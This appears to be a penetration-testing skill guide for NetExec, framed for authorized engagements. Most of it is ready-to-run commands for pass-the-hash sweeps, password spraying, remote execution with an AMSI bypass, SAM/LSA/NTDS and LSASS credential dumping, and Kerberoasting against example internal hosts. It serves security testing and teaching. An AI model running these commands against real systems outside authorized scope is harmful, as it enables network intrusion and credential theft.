Moving Laterally with NetExec

Authorized Use Only: This skill is for authorized penetration testing, red-team engagements, and educational labs only. NetExec authenticates to, executes code on, and extracts credentials from remote hosts. Running it against systems you do not own or lack explicit written authorization to test is illegal under computer-misuse laws (e.g. the US CFAA, UK Computer Misuse Act). Confirm scope and rules of engagement before use.

Overview

NetExec (nxc) is the actively maintained successor to CrackMapExec, a network-service swiss-army knife for assessing and exploiting Windows/Active Directory and Linux environments. It wraps Impacket and other libraries behind a unified CLI so an operator can authenticate against many hosts at once, validate harvested credentials, spray passwords, enumerate shares/users/policies, execute commands, and dump credentials — all while logging cleanly for reporting.

NetExec is protocol-oriented: every invocation starts with a protocol module. As of the 2025 releases it supports smb, winrm, mssql, ldap, ssh, ftp, wmi, rdp, vnc, and nfs. Command execution (-x/-X) is available on SMB, WINRM, SSH, MSSQL, WMI and (since summer 2025) RDP. A built-in module system (-M) adds capabilities such as LAPS retrieval, LSASS dumping via lsassy, BloodHound collection, and share spidering.

For lateral movement specifically, NetExec maps directly to MITRE ATT&CK T1021.002 (Remote Services: SMB/Windows Admin Shares): it authenticates over SMB (port 445), reaches ADMIN$/C$, and uses named-pipe or task-scheduler execution to run code on remote machines. The (Pwn3d!) marker in output signals that the supplied principal has local-admin code-execution rights on a host — the green light for lateral movement.

When to Use

• During an internal network penetration test after obtaining one or more valid credentials/hashes, to identify every host where those credentials grant admin access.
• To perform controlled password spraying against a domain while respecting lockout thresholds.
• To enumerate SMB shares, domain users, password policy, and loggedon sessions across a subnet in one sweep.
• To execute commands or dump SAM/LSA/NTDS credentials on authorized targets during post-exploitation.
• To collect BloodHound data or LAPS passwords using NetExec modules instead of separate tooling.

Prerequisites

• A Linux operator host (Kali/Parrot/Ubuntu). Install via pipx (recommended):

  sudo apt install -y pipx git
  pipx ensurepath
  pipx install git+https://github.com/Pennyw0rth/NetExec
  # verify
  nxc --version
  nxc smb --help
  

• Docker alternative:

  git clone https://github.com/Pennyw0rth/NetExec
  cd NetExec
  docker build -t netexec .
  docker run --rm -it netexec smb --help
  

• Network reachability to target ports (445/SMB, 5985-5986/WinRM, 389-636/LDAP, 1433/MSSQL).
• Valid credentials, NT hashes, or Kerberos tickets within an authorized scope.
• A signed rules-of-engagement document and knowledge of the account-lockout policy before spraying.

Objectives

• Validate harvested credentials across a host range and locate (Pwn3d!) admin access.
• Enumerate shares, users, and password policy over SMB and LDAP.
• Conduct lockout-safe password spraying with --continue-on-success.
• Execute commands on authorized hosts and select an appropriate --exec-method.
• Dump SAM, LSA, and NTDS credentials and collect them into the NetExec workspace.
• Drive AD attacks (Kerberoasting, ASREPRoast, BloodHound collection) through LDAP modules.

MITRE ATT&CK Mapping

Technique ID	Official Name	How NetExec Implements It
T1021.002	Remote Services: SMB/Windows Admin Shares	Authenticates over SMB to ADMIN$/C$ and executes code on remote hosts (-x, --exec-method)
T1110.003	Brute Force: Password Spraying	One password against many accounts with --continue-on-success
T1003.002	OS Credential Dumping: Security Account Manager	--sam dumps local SAM hashes
T1003.004	OS Credential Dumping: LSA Secrets	--lsa dumps LSA secrets and cached credentials
T1003.006	OS Credential Dumping: DCSync	--ntds via drsuapi extracts the domain database
T1558.003	Steal or Forge Kerberos Tickets: Kerberoasting	ldap --kerberoasting requests service tickets
T1087.002	Account Discovery: Domain Account	--users, --rid-brute enumerate domain accounts
T1135	Network Share Discovery	--shares, -M spider_plus enumerate accessible shares

Workflow

1. Validate credentials and find admin access

Sweep a subnet with a credential pair or NT hash. A trailing (Pwn3d!) marks hosts where the principal has admin code execution — these are your lateral-movement targets.

# Cleartext password across a /24
nxc smb 192.168.1.0/24 -u jsmith -p 'Summer2025!' -d corp.local

# Pass-the-hash (NT only or LM:NT)
nxc smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'
nxc smb 10.10.10.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth

2. Enumerate the environment

Pull users, shares, password policy, loggedon sessions, and active sessions to plan movement.

nxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --users
nxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --pass-pol
nxc smb 192.168.1.0/24 -u jsmith -p 'Summer2025!' --shares
nxc smb 192.168.1.0/24 -u jsmith -p 'Summer2025!' --loggedon-users --sessions
# RID brute for accounts when listing is blocked
nxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --rid-brute 10000

3. Password-spray safely

Spray one password against a user list, staying under the lockout threshold. --continue-on-success keeps testing every account instead of stopping at the first hit.

# Discover the lockout policy FIRST
nxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --pass-pol

# Spray a single password across many users
nxc smb dc01.corp.local -u users.txt -p 'Welcome2025!' --continue-on-success

# Validate a credential set across the domain without bruteforcing
nxc ldap dc01.corp.local -u users.txt -p 'Spring2025!' --continue-on-success --no-bruteforce

4. Execute commands on authorized hosts

On (Pwn3d!) targets, run commands and choose a quieter execution channel when needed.

# Default execution
nxc smb 192.168.1.50 -u Administrator -H <hash> -x 'whoami /all'

# Pick an exec method: smbexec, wmiexec, atexec, mmcexec
nxc smb 192.168.1.50 -u Administrator -H <hash> --exec-method wmiexec -x 'hostname'

# PowerShell over WinRM (amsi-bypassed, base64-encoded transparently)
nxc winrm 192.168.1.50 -u Administrator -H <hash> -X '$PSVersionTable'

5. Dump credentials

Harvest local and domain credentials from authorized hosts to fuel further movement.

# Local SAM hashes and LSA secrets
nxc smb 192.168.1.50 -u Administrator -H <hash> --sam --lsa

# In-memory LSASS dump via the lsassy module
nxc smb 192.168.1.50 -u Administrator -H <hash> -M lsassy

# Domain database from a DC (DRSUAPI default, or VSS)
nxc smb dc01.corp.local -u Administrator -H <hash> --ntds
nxc smb dc01.corp.local -u Administrator -H <hash> --ntds vss

6. Drive AD attacks via LDAP and modules

Use protocol modules to pivot to ticket attacks, delegation, LAPS, and BloodHound ingestion.

# Kerberoasting and ASREPRoasting
nxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' --kerberoasting kerb.out
nxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' --asreproast asrep.out

# Read LAPS passwords where permitted
nxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' -M laps

# Collect BloodHound data
nxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' --bloodhound --collection All --dns-server 192.168.1.10

# MSSQL command/query execution
nxc mssql 192.168.1.60 -u sa -p 'Sql2025!' --local-auth -q 'SELECT name FROM sys.databases'
nxc mssql 192.168.1.60 -u sa -p 'Sql2025!' --local-auth -x 'whoami'

7. Review the workspace and report

NetExec stores results in a per-protocol SQLite workspace under ~/.nxc/. Review captured credentials and admin relationships for the report.

nxc smb -L              # list SMB modules
ls ~/.nxc/workspaces/
nxc smb 192.168.1.0/24 -u jsmith -p 'Summer2025!' --shares --log spray_results.log

Tools and Resources

Tool	Purpose	Source
NetExec (nxc)	Multi-protocol network exploitation	https://github.com/Pennyw0rth/NetExec
NetExec Wiki	Official docs and per-protocol flags	https://www.netexec.wiki/
Impacket	Underlying SMB/MSSQL/Kerberos libraries	https://github.com/fortra/impacket
lsassy	Remote LSASS extraction (NetExec module)	https://github.com/login-securite/lsassy
BloodHound CE	Graph analysis of collected AD data	https://github.com/SpecterOps/BloodHound
NetExec Cheat Sheet	Command reference	https://www.stationx.net/netexec-cheat-sheet/

Validation Criteria

• NetExec installed and nxc --version confirmed.
• Account-lockout policy reviewed before any spraying.
• Credentials validated across the in-scope host range.
• (Pwn3d!) admin-access hosts enumerated and documented.
• Shares, users, and password policy collected.
• Password spraying performed under lockout thresholds with --continue-on-success.
• Command execution tested with an appropriate --exec-method.
• Credential dumping (--sam/--lsa/--ntds) performed only on authorized targets.
• LDAP attacks (Kerberoasting/ASREPRoast/LAPS/BloodHound) executed where in scope.
• Workspace results exported and included in the engagement report.